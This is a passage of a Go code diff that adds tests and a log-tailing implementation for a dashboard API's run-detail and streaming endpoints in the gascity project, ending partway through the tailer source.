+// TestRunDetailStreamUnsupportedRun422 confirms a v1/wisp run is rejected 422
+// with the not_run_view reason BEFORE the stream body, mirroring the GET.
+func TestRunDetailStreamUnsupportedRun422(t *testing.T) {
+	dir := t.TempDir()
+	// A molecule run marker but NO gc.formula_contract=graph.v2 → not a run view.
+	writeEventLog(
+		t, filepath.Join(dir, ".gc", "events.jsonl"),
+		beadCreatedEvent(1, beads.Bead{
+			ID:        "v1run",
+			Title:     "legacy v1 run",
+			Status:    "open",
+			Type:      "molecule",
+			CreatedAt: time.Date(2026, 6, 1, 10, 0, 0, 0, time.UTC),
+			Metadata:  map[string]string{"gc.kind": "run"},
+		}),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/alpha/runs/v1run/detail/stream", nil))
+	if rec.Code != http.StatusUnprocessableEntity {
+		t.Fatalf("status = %d, want 422; body=%s", rec.Code, rec.Body.String())
+	}
+	var body runDetailErrorBody
+	if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+		t.Fatalf("decode error body: %v; body=%s", err, rec.Body.String())
+	}
+	if body.Reason != "not_run_view" {
+		t.Errorf("reason = %q, want not_run_view", body.Reason)
+	}
+}
+
+// TestRunDetailStreamUnknownRun404 confirms a missing run 404s once the tailer
+// is warm, before any stream body.
+func TestRunDetailStreamUnknownRun404(t *testing.T) {
+	dir := t.TempDir()
+	writeEventLog(t, filepath.Join(dir, ".gc", "events.jsonl"), runDetailRootEvent())
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	// Warm the tailer first so a missing run is a true 404, not a warming 503.
+	_ = getRunSummary(t, p, "alpha")
+
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/alpha/runs/missing/detail/stream", nil))
+	if rec.Code != http.StatusNotFound {
+		t.Fatalf("status = %d, want 404; body=%s", rec.Code, rec.Body.String())
+	}
+}
+
+// TestRunDetailStreamHeartbeat proves a heartbeat comment frame is emitted after
+// the (shortened) heartbeat interval when no data change fires.
+func TestRunDetailStreamHeartbeat(t *testing.T) {
+	defer func(prev time.Duration) { runDetailStreamHeartbeat = prev }(runDetailStreamHeartbeat)
+	runDetailStreamHeartbeat = 25 * time.Millisecond
+
+	dir := t.TempDir()
+	writeEventLog(t, filepath.Join(dir, ".gc", "events.jsonl"), runDetailRootEvent())
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	defer closeStream()
+	_ = resp
+
+	if _, ok := readSSEFrame(t, sc); !ok {
+		t.Fatal("no first frame")
+	}
+	// With no data change, the next frame must be the heartbeat comment.
+	hb, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no heartbeat frame")
+	}
+	if hb.comment == "" {
+		t.Errorf("expected a heartbeat comment frame, got %+v", hb)
+	}
+}
diff --git a/internal/api/dashboardbff/rundetailtailer_test.go b/internal/api/dashboardbff/rundetailtailer_test.go
new file mode 100644
index 0000000000..dabc5f9e04
--- /dev/null
+++ b/internal/api/dashboardbff/rundetailtailer_test.go
@@ -0,0 +1,435 @@
+package dashboardbff
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"net/url"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+// runDetailRootEvent builds the canonical graph.v2 run-root molecule (run "run1",
+// formula mol-adopt-pr-v2) with the scope metadata the detail snapshot projection
+// requires (gc.scope_kind / gc.scope_ref / gc.root_store_ref). It is the first
+// event in these fixtures, so it carries seq 1.
+func runDetailRootEvent() events.Event {
+	const (
+		runID   = "run1"
+		formula = "mol-adopt-pr-v2"
+	)
+	return beadCreatedEvent(1, beads.Bead{
+		ID:        runID,
+		Title:     formula,
+		Status:    "open",
+		Type:      "molecule",
+		Ref:       formula,
+		CreatedAt: time.Date(2026, 6, 1, 10, 0, 0, 0, time.UTC),
+		UpdatedAt: time.Date(2026, 6, 1, 12, 0, 0, 0, time.UTC),
+		Metadata: map[string]string{
+			"gc.formula_contract": "graph.v2",
+			"gc.kind":             "run",
+			"gc.formula":          formula,
+			"gc.run_target":       "rig:demo",
+			"gc.root_store_ref":   "rig:demo",
+			"gc.scope_kind":       "rig",
+			"gc.scope_ref":        "demo",
+		},
+	})
+}
+
+// runDetailStepEvent builds a step bead parented to a run root.
+func runDetailStepEvent(seq uint64, id, parent, stepID, status string) events.Event {
+	return beadCreatedEvent(seq, beads.Bead{
+		ID:        id,
+		Title:     stepID,
+		Status:    status,
+		Type:      "task",
+		ParentID:  parent,
+		Ref:       "mol-adopt-pr-v2." + stepID,
+		CreatedAt: time.Date(2026, 6, 1, 10, 1, 0, 0, time.UTC),
+		UpdatedAt: time.Date(2026, 6, 1, 10, 5, 0, 0, time.UTC),
+		Metadata: map[string]string{
+			"gc.kind":         "step",
+			"gc.root_bead_id": parent,
+			"gc.step_id":      stepID,
+			"gc.scope_ref":    "demo",
+		},
+	})
+}
+
+func beadCreatedEvent(seq uint64, b beads.Bead) events.Event {
+	payload, _ := json.Marshal(struct {
+		Bead beads.Bead `json:"bead"`
+	}{b})
+	return events.Event{Seq: seq, Type: events.BeadCreated, Payload: payload}
+}
+
+// runDetailWire is the decoded detail body — a structural contract check that the
+// wire carries the FormulaRunDetail shape the SPA renderer reads.
+type runDetailWire struct {
+	RunID    string `json:"runId"`
+	ScopeRef string `json:"scopeRef"`
+	Title    string `json:"title"`
+	Formula  struct {
+		Kind string `json:"kind"`
+		Name string `json:"name"`
+	} `json:"formula"`
+	Phase string `json:"phase"`
+	Nodes []struct {
+		ID string `json:"id"`
+	} `json:"nodes"`
+	Lanes []struct {
+		ID string `json:"id"`
+	} `json:"lanes"`
+	FormulaDetail struct {
+		Kind    string `json:"kind"`
+		Name    string `json:"name"`
+		Target  string `json:"target"`
+		Reason  string `json:"reason"`
+		Failure string `json:"failure"`
+	} `json:"formulaDetail"`
+}
+
+// TestRunDetailEndpoint drives the full endpoint: the warm fold projects one
+// run's detail graph (root + step) off the same tailer the summary uses.
+func TestRunDetailEndpoint(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	resp := getRunDetail(t, p, "alpha", "run1")
+	if resp.RunID != "run1" {
+		t.Errorf("runId = %q, want run1", resp.RunID)
+	}
+	if resp.ScopeRef != "demo" {
+		t.Errorf("scopeRef = %q, want demo", resp.ScopeRef)
+	}
+	if resp.Title != "mol-adopt-pr-v2" {
+		t.Errorf("title = %q, want mol-adopt-pr-v2", resp.Title)
+	}
+	if resp.Formula.Kind != "known" || resp.Formula.Name != "mol-adopt-pr-v2" {
+		t.Errorf("formula = %+v, want known/mol-adopt-pr-v2", resp.Formula)
+	}
+	if len(resp.Nodes) != 2 {
+		t.Errorf("nodes = %d, want 2 (root + preflight)", len(resp.Nodes))
+	}
+	if len(resp.Lanes) != 1 || resp.Lanes[0].ID != "demo" {
+		t.Errorf("lanes = %+v, want one lane 'demo'", resp.Lanes)
+	}
+	if resp.Phase == "" {
+		t.Errorf("phase is empty, want a classified phase")
+	}
+}
+
+// TestRunDetailEndpointFiltersNonRunBeads is the regression guard for the live
+// projection bypassing RunBeadFilter: message, session, and gc:-labeled control
+// beads that share a run root must be dropped at the projection boundary (the
+// analog of the frontend defaultBeadFilter) so they never surface as detail
+// nodes. Without the filter, the gc:-labeled child and the message bead below
+// are selected as run members and would inflate the node count past the real
+// root+step graph.
+func TestRunDetailEndpointFiltersNonRunBeads(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	// A distinct run id and city (filtering is not run- or city-specific) also
+	// keep the shared getRunDetail helper exercised with more than one run/city.
+	const runID = "runf1"
+	writeEventLog(t, logPath,
+		beadCreatedEvent(1, beads.Bead{
+			ID:        runID,
+			Title:     "mol-adopt-pr-v2",
+			Status:    "open",
+			Type:      "molecule",
+			Ref:       "mol-adopt-pr-v2",
+			CreatedAt: time.Date(2026, 6, 1, 10, 0, 0, 0, time.UTC),
+			UpdatedAt: time.Date(2026, 6, 1, 12, 0, 0, 0, time.UTC),
+			Metadata: map[string]string{
+				"gc.formula_contract": "graph.v2",
+				"gc.kind":             "run",
+				"gc.formula":          "mol-adopt-pr-v2",
+				"gc.run_target":       "rig:demo",
+				"gc.root_store_ref":   "rig:demo",
+				"gc.scope_kind":       "rig",
+				"gc.scope_ref":        "demo",
+			},
+		}),
+		runDetailStepEvent(2, runID+".1", runID, "preflight", "in_progress"),
+		// A gc:-labeled control bead whose id sits under the run root: without the
+		// filter, snapshotForRun selects it as a member and it becomes a node.
+		beadCreatedEvent(3, beads.Bead{
+			ID:        runID + ".ctl",
+			Title:     "control bead",
+			Status:    "open",
+			Type:      "task",
+			ParentID:  runID,
+			Labels:    []string{"gc:control"},
+			CreatedAt: time.Date(2026, 6, 1, 10, 2, 0, 0, time.UTC),
+			UpdatedAt: time.Date(2026, 6, 1, 10, 6, 0, 0, time.UTC),
+			Metadata:  map[string]string{"gc.root_bead_id": runID},
+		}),
+		// A message bead carrying the run root: not an engineering type and not
+		// gc.kind=run, so RunBeadFilter drops it.
+		beadCreatedEvent(4, beads.Bead{
+			ID:        "msg1",
+			Title:     "convoy message",
+			Status:    "open",
+			Type:      "message",
+			CreatedAt: time.Date(2026, 6, 1, 10, 3, 0, 0, time.UTC),
+			UpdatedAt: time.Date(2026, 6, 1, 10, 7, 0, 0, time.UTC),
+			Metadata:  map[string]string{"gc.root_bead_id": runID},
+		}),
+	)
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"beta": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	resp := getRunDetail(t, p, "beta", runID)
+	if len(resp.Nodes) != 2 {
+		t.Errorf("nodes = %d, want 2 (root + preflight); non-run/gc:-labeled beads must be filtered, got %+v", len(resp.Nodes), resp.Nodes)
+	}
+	for _, node := range resp.Nodes {
+		if node.ID == runID+".ctl" || node.ID == "msg1" {
+			t.Errorf("node %q leaked into detail; RunBeadFilter must drop it", node.ID)
+		}
+	}
+}
+
+// TestRunDetailEndpointLayersCompiledFormulaDetail proves the endpoint fetches
+// the supervisor's compiled formula detail at request time (like sessions) so a
+// graph.v2 run with a name+target resolves to an "available" formula-detail
+// state rather than the synthetic fetch_failed/upstream_error the bead-derived
+// projection emits on its own.
+func TestRunDetailEndpointLayersCompiledFormulaDetail(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+
+	var gotFormulaQuery string
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path == "/v0/city/alpha/formulas/mol-adopt-pr-v2" {
+			gotFormulaQuery = r.URL.RawQuery
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"name":"mol-adopt-pr-v2","steps":[{"id":"preflight"},{"id":"apply-fixes"}],"preview":{"nodes":[{"id":"preflight"},{"id":"apply-fixes"}]}}`))
+			return
+		}
+		w.WriteHeader(http.StatusNotFound)
+	}))
+	defer supervisor.Close()
+
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: supervisor.URL,
+	})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	resp := getRunDetail(t, p, "alpha", "run1")
+	if resp.FormulaDetail.Kind != "available" {
+		t.Errorf("formulaDetail.kind = %q, want available; full=%+v", resp.FormulaDetail.Kind, resp.FormulaDetail)
+	}
+	if resp.FormulaDetail.Name != "mol-adopt-pr-v2" || resp.FormulaDetail.Target != "rig:demo" {
+		t.Errorf("formulaDetail = %+v, want name mol-adopt-pr-v2 / target rig:demo", resp.FormulaDetail)
+	}
+	if resp.FormulaDetail.Failure != "" {
+		t.Errorf("formulaDetail.failure = %q, want empty (no synthetic upstream error)", resp.FormulaDetail.Failure)
+	}
+	// The run root is rig-scoped (gc.scope_kind=rig, gc.scope_ref=demo). The BFF
+	// must derive that scope from the run root and send it alongside target, so
+	// the endpoint resolves the compiled formula against the rig formula layer
+	// instead of the wrong layer or a required-scope rejection.
+	gotQuery, err := url.ParseQuery(gotFormulaQuery)
+	if err != nil {
+		t.Fatalf("parse compiled-formula fetch query %q: %v", gotFormulaQuery, err)
+	}
+	if got := gotQuery.Get("target"); got != "rig:demo" {
+		t.Errorf("compiled-formula fetch target = %q, want rig:demo (query %q)", got, gotFormulaQuery)
+	}
+	if got := gotQuery.Get("scope_kind"); got != "rig" {
+		t.Errorf("compiled-formula fetch scope_kind = %q, want rig (query %q)", got, gotFormulaQuery)
+	}
+	if got := gotQuery.Get("scope_ref"); got != "demo" {
+		t.Errorf("compiled-formula fetch scope_ref = %q, want demo (query %q)", got, gotFormulaQuery)
+	}
+}
+
+// TestRunDetailEndpointFormulaFetchFailureStaysHonest proves that when the
+// compiled-formula fetch is attempted but fails upstream, the detail state falls
+// back to the honest fetch_failed arm rather than fabricating availability.
+func TestRunDetailEndpointFormulaFetchFailureStaysHonest(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent())
+
+	var formulaFetchAttempted bool
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path == "/v0/city/alpha/formulas/mol-adopt-pr-v2" {
+			formulaFetchAttempted = true
+		}
+		w.WriteHeader(http.StatusInternalServerError)
+	}))
+	defer supervisor.Close()
+
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: supervisor.URL,
+	})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	resp := getRunDetail(t, p, "alpha", "run1")
+	if !formulaFetchAttempted {
+		t.Error("compiled-formula fetch was not attempted for a graph.v2 run with a target")
+	}
+	if resp.FormulaDetail.Kind != "unavailable" || resp.FormulaDetail.Reason != "fetch_failed" {
+		t.Errorf("formulaDetail = %+v, want unavailable/fetch_failed on upstream failure", resp.FormulaDetail)
+	}
+	if resp.FormulaDetail.Failure != "upstream_error" {
+		t.Errorf("formulaDetail.failure = %q, want upstream_error", resp.FormulaDetail.Failure)
+	}
+}
+
+// TestRunDetailEndpointFormulaFetch404IsNotFound proves the BFF preserves the
+// distinct not_found failure reason across the BFF/runproj boundary: a compiled
+// formula that the supervisor reports as HTTP 404 must resolve to
+// fetch_failed/not_found — a genuinely missing formula — rather than collapsing
+// into the generic upstream_error the non-404 path (see the sibling test above)
+// reports. Before this fix the BFF discarded the status code, so a 404 rendered
+// the wrong operator diagnostic on the run-detail page.
+func TestRunDetailEndpointFormulaFetch404IsNotFound(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent())
+
+	var formulaFetchAttempted bool
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path == "/v0/city/alpha/formulas/mol-adopt-pr-v2" {
+			formulaFetchAttempted = true
+		}
+		w.WriteHeader(http.StatusNotFound)
+	}))
+	defer supervisor.Close()
+
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: supervisor.URL,
+	})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	resp := getRunDetail(t, p, "alpha", "run1")
+	if !formulaFetchAttempted {
+		t.Error("compiled-formula fetch was not attempted for a graph.v2 run with a target")
+	}
+	if resp.FormulaDetail.Kind != "unavailable" || resp.FormulaDetail.Reason != "fetch_failed" {
+		t.Errorf("formulaDetail = %+v, want unavailable/fetch_failed on a 404", resp.FormulaDetail)
+	}
+	if resp.FormulaDetail.Failure != "not_found" {
+		t.Errorf("formulaDetail.failure = %q, want not_found (a 404 is a missing formula, not a generic upstream error)", resp.FormulaDetail.Failure)
+	}
+}
+
+// TestRunDetailEndpointUnknownCity404 confirms an unresolvable city 404s.
+func TestRunDetailEndpointUnknownCity404(t *testing.T) {
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{}}})
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/ghost/runs/run1/detail", nil))
+	if rec.Code != http.StatusNotFound {
+		t.Errorf("status = %d, want 404 for unknown city", rec.Code)
+	}
+}
+
+// TestRunDetailEndpointUnknownRun404 confirms a missing run 404s once the tailer
+// is warm.
+func TestRunDetailEndpointUnknownRun404(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent())
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	// Warm the tailer first (a summary read blocks on the cold replay), so the
+	// missing run is a true 404, not a warming 503.
+	_ = getRunSummary(t, p, "alpha")
+	getRunDetailExpectStatus(t, p, "alpha", "missing", http.StatusNotFound)
+}
+
+// TestRunDetailEndpointNotRunView maps a non-graph.v2 run to 422 with the
+// not_run_view reason so the SPA renders the honest list-only message.
+func TestRunDetailEndpointNotRunView(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	// A molecule run marker but NO gc.formula_contract=graph.v2 → not a run view.
+	writeEventLog(t, logPath, beadCreatedEvent(1, beads.Bead{
+		ID:        "v1run",
+		Title:     "legacy v1 run",
+		Status:    "open",
+		Type:      "molecule",
+		CreatedAt: time.Date(2026, 6, 1, 10, 0, 0, 0, time.UTC),
+		Metadata:  map[string]string{"gc.kind": "run"},
+	}))
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	rec := getRunDetailRaw(t, p, "alpha", "v1run")
+	if rec.Code != http.StatusUnprocessableEntity {
+		t.Fatalf("status = %d, want 422; body=%s", rec.Code, rec.Body.String())
+	}
+	var body runDetailErrorBody
+	if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+		t.Fatalf("decode error body: %v; body=%s", err, rec.Body.String())
+	}
+	if body.Reason != "not_run_view" {
+		t.Errorf("reason = %q, want not_run_view", body.Reason)
+	}
+}
+
+func getRunDetailRaw(t *testing.T, p *Plane, city, runID string) *httptest.ResponseRecorder {
+	t.Helper()
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/"+city+"/runs/"+runID+"/detail", nil))
+	return rec
+}
+
+func getRunDetailExpectStatus(t *testing.T, p *Plane, city, runID string, want int) {
+	t.Helper()
+	rec := getRunDetailRaw(t, p, city, runID)
+	if rec.Code != want {
+		t.Fatalf("status = %d, want %d; body=%s", rec.Code, want, rec.Body.String())
+	}
+}
+
+// getRunDetail fetches a run's detail and decodes the success (200) body. Non-2xx
+// paths use getRunDetailRaw / getRunDetailExpectStatus, so the expected status is
+// fixed here rather than a parameter.
+func getRunDetail(t *testing.T, p *Plane, city, runID string) runDetailWire {
+	t.Helper()
+	rec := getRunDetailRaw(t, p, city, runID)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status = %d, want %d; body=%s", rec.Code, http.StatusOK, rec.Body.String())
+	}
+	var resp runDetailWire
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatalf("decode response: %v; body=%s", err, rec.Body.String())
+	}
+	return resp
+}
diff --git a/internal/api/dashboardbff/runtailer.go b/internal/api/dashboardbff/runtailer.go
new file mode 100644
index 0000000000..7cee9925ee
--- /dev/null
+++ b/internal/api/dashboardbff/runtailer.go
@@ -0,0 +1,858 @@
+package dashboardbff
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"log"
+	"net/http"
+	"net/url"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+// The run-view summary is reconstructed from the per-city append-only event log
+// (.gc/events.jsonl) instead of the supervisor's slow molecule/feed scans. A
+// per-city tailer folds the log into a warm bead-derived RunSummary off the
+// request path — cold-replay over the full history (rotated .gz archives
+// included), then a read-only byte-offset tail of newly appended events — so a
+// request serves a sub-second warm read and layers session health/census at
+// request time from one loopback /v0 sessions read. Modeled on the citySampler:
+// lazy per-city start, all the heavy work off the lock, a brief publish under
+// the lock. The tail is pure-read (events.ReadFrom opens the log read-only), so
+// it is never a second writer to the supervisor's own recorder.
+var (
+	// runTailPollInterval is how often the tail polls the active log for new
+	// bytes. A var (not a const) so tests can shorten it.
+	runTailPollInterval = 1 * time.Second
+	// runColdLoadWait bounds how long a first request blocks for the cold replay
+	// before returning a partial (warming) snapshot. A var so tests can shorten it.
+	runColdLoadWait = 5 * time.Second
+)
+
+const runSessionsFetchTimeout = 10 * time.Second
+
+// ── Tailer manager ────────────────────────────────────────────────────────
+
+type runTailerManager struct {
+	deps  Deps
+	httpc *http.Client
+
+	// sessionsCache and formulaCache absorb the two per-request loopback reads so
+	// a burst of detail/summary GETs collapses onto one upstream fetch per key
+	// (single-flight + TTL). See enrichment_cache.go for the contract.
+	sessionsCache *singleFlightCache[string, cachedSessions]
+	formulaCache  *singleFlightCache[formulaCacheKey, cachedFormulaDetail]
+
+	mu      sync.Mutex
+	cities  map[string]*cityRunTailer
+	ctx     context.Context
+	wg      *sync.WaitGroup
+	enabled bool
+}
+
+func newRunTailerManager(deps Deps) *runTailerManager {
+	return &runTailerManager{
+		deps:          deps,
+		httpc:         &http.Client{Timeout: runSessionsFetchTimeout},
+		cities:        make(map[string]*cityRunTailer),
+		sessionsCache: newSingleFlightCache[string, cachedSessions](),
+		formulaCache:  newSingleFlightCache[formulaCacheKey, cachedFormulaDetail](),
+	}
+}
+
+// enable records the lifecycle context and waitgroup so lazily-started city
+// tailers stop cleanly on shutdown (shared with the samplers' waitgroup).
+func (m *runTailerManager) enable(ctx context.Context, wg *sync.WaitGroup) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.ctx = ctx
+	m.wg = wg
+	m.enabled = true
+}
+
+// ensure returns the tailer for a city, starting its background fold loop on
+// first use once the manager has been enabled (Start called).
+func (m *runTailerManager) ensure(name, eventsPath string) *cityRunTailer {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	t, ok := m.cities[name]
+	if !ok {
+		t = &cityRunTailer{name: name, eventsPath: eventsPath, mgr: m, readyCh: make(chan struct{}), snapshotCache: newRunSnapshotCache(), detailMemo: newRunDetailMemo()}
+		m.cities[name] = t
+	}
+	if m.enabled && m.ctx != nil && !t.started {
+		t.started = true
+		m.wg.Add(1)
+		go func() {
+			defer m.wg.Done()
+			t.loop(m.ctx, m.wg)
+		}()
+	}
+	return t
+}
+
+// ── Per-city tailer ───────────────────────────────────────────────────────
+
+type cityRunTailer struct {
+	name       string
+	eventsPath string
+	mgr        *runTailerManager
+
+	started bool
+	readyCh chan struct{} // closed once the cold replay attempt completes
+
+	// snapshotCache caches the folded run snapshot (and the formula target
+	// derived from it) per fold generation so a same-generation repeat request
+	// reuses the fold instead of re-scanning the city's beads. detailMemo then
+	// caches the built+marshaled detail on top, so an unchanged fold costs ~zero
+	// CPU (no re-scan, no re-projection, no re-marshal). See rundetail_memo.go.
+	snapshotCache *runSnapshotCache
+	detailMemo    *runDetailMemo
+
+	mu      sync.RWMutex
+	summary runproj.RunSummary
+	marks   map[string]runproj.LaneProgressMark
+	beads   []beads.Bead
+	lastSeq uint64
+	ready   bool
+
+	// subMu guards the per-run detail-stream subscriber registry. It is a distinct
+	// lock from mu so a stream broadcast never contends with the hot fold-publish
+	// path's RLock/Lock; both are taken only briefly and never across a network
+	// write. See rundetail_stream.go.
+	subMu sync.Mutex
+	subs  map[*detailStreamSub]struct{}
+}
+
+// tailState carries the fold cursor across poll iterations: the byte offset into
+// the active log, the active file's identity (so a rotation is detected by
+// dev/inode rather than a fragile size-shrink check), and the monotonic lane
+// progress marks.
+type tailState struct {
+	offset     int64
+	activeInfo os.FileInfo
+	marks      map[string]runproj.LaneProgressMark
+	// loggedDecodeMisses is the projector's cumulative bead.* decode-miss count
+	// already surfaced to the log, so logDecodeMisses only warns on the delta.
+	loggedDecodeMisses int
+}
+
+// captureTailCursor snapshots the active log's byte size and identity from a
+// SINGLE os.Stat so the resume offset and the rotation-detection identity always
+// describe the same file. Splitting them across two stats (a size stat then an
+// identity stat) let a rotation land between the two and pair the old file's
+// larger offset with the fresh file's identity; the first foldNext then saw no
+// identity change, ReadFrom seeked past the fresh file's EOF, and every fresh
+// event below the stale offset was silently dropped until restart. A rotation
+// after this single snapshot is instead caught by foldNext's identity check; a
+// rotation before it yields a consistent size+identity for the new active file.
+func captureTailCursor(path string) *tailState {
+	st := &tailState{}
+	if info, err := os.Stat(path); err == nil {
+		st.offset = info.Size()
+		st.activeInfo = info
+	}
+	return st
+}
+
+// loop cold-replays the event log, publishes the bead-derived summary, then
+// tails newly appended events and republishes on each change. All folding and
+// summary-building happens on loop-owned locals; only the publish takes the lock.
+func (t *cityRunTailer) loop(ctx context.Context, wg *sync.WaitGroup) {
+	proj := runproj.NewProjector()
+
+	// Capture the active log size and identity BEFORE the cold replay so the tail
+	// resumes from exactly there. Any event appended during (or just after) the
+	// replay lands in [offset, EOF) and is re-read by the first tail poll; the seq
+	// filter drops the overlap the replay already folded. This makes the resume
+	// race-free — closing readyCh before computing the offset (the previous design)
+	// let an append between the two jump the tail past the new event, dropping it.
+	// captureTailCursor reads the size and identity from one stat so a rotation
+	// cannot pair the old file's offset with the fresh file's identity.
+	st := captureTailCursor(t.eventsPath)
+	loadErr := proj.ColdLoad(t.eventsPath)
+	st.marks = t.build(proj, nil, loadErr)
+	t.logDecodeMisses(proj, st)
+	close(t.readyCh)
+
+	// Best-effort prime the per-city sessions cache now that the fold is warm, so
+	// the first detail() serves a fully-warm read instead of paying the loopback
+	// sessions fetch inline. It runs in its OWN goroutine, NOT on this poll loop:
+	// the prime issues a /v0 sessions loopback read that can block for up to the
+	// HTTP client timeout (runSessionsFetchTimeout) when the supervisor API is slow
+	// or not yet serving, and the elected single-flight compute detaches from ctx
+	// (see enrichment_cache.go), so a caller-side deadline cannot shorten it. Doing
+	// it inline here would delay the tail's first foldNext by that long, leaving
+	// events appended right after readyCh closed unfolded during the exact startup
+	// window this warm-up exists to cover.
+	//
+	// The prime is tracked in the plane waitgroup so a graceful shutdown still
+	// drains a fast, in-flight prime — but it must not PIN shutdown. Because the
+	// elected compute detaches from ctx and is bounded only by its own fetch
+	// timeout, waiting on that compute inline would keep Plane.Stop's wg.Wait()
+	// blocked for up to runSessionsFetchTimeout on a wedged /sessions read, even
+	// though the prime is optional and the cache it warms is being torn down. So
+	// run the fetch in a child goroutine and stop waiting on it the moment ctx is
+	// canceled: Stop returns promptly while the detached fetch drains on its own
+	// bounded deadline. The prime degrades silently (the cache falls back to
+	// (nil, false) when the loopback isn't serving yet — e.g. mid-start before the
+	// /v0 API is up). Formulas stay lazy: they are per-run, compile fast, and are
+	// cached with a long TTL once first fetched.
+	wg.Add(1)
+	go func() {
+		defer wg.Done()
+		primed := make(chan struct{})
+		go func() {
+			defer close(primed)
+			t.mgr.fetchSessions(ctx, t.name)
+		}()
+		select {
+		case <-primed:
+		case <-ctx.Done():
+		}
+	}()
+
+	poll := time.NewTicker(runTailPollInterval)
+	defer poll.Stop()
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case <-poll.C:
+			t.foldNext(proj, st)
+			t.logDecodeMisses(proj, st)
+		}
+	}
+}
+
+// logDecodeMisses surfaces new bead.* payload decode misses since the last poll.
+// A silent projection starve — a payload-shape or correlation-spine drift that
+// stops bead.* events from decoding — is the exact failure the run-view RCA
+// flagged: the view goes blank while every request still returns 200. Logging
+// the miss delta makes that loud. Called only from the single loop goroutine, so
+// st.loggedDecodeMisses needs no lock.
+func (t *cityRunTailer) logDecodeMisses(proj *runproj.Projector, st *tailState) {
+	total := proj.DecodeMisses()
+	if total <= st.loggedDecodeMisses {
+		return
+	}
+	delta := total - st.loggedDecodeMisses
+	st.loggedDecodeMisses = total
+	log.Printf("run-tailer: city %q dropped %d bead.* event(s) on decode miss (%d total) — run view may be stale",
+		t.name, delta, total)
+}
+
+// readRotationCatchUp is the rotation catch-up read, indirected through a
+// package var so a test can inject a transient read error and prove foldNext
+// retries the catch-up on the next poll instead of losing the just-rotated
+// events. Production always uses events.ReadFilteredWithInFlight.
+var readRotationCatchUp = events.ReadFilteredWithInFlight
+
+// foldNext performs one tail poll: it folds newly appended events into the
+// projector and republishes when a bead snapshot changed. It handles active-log
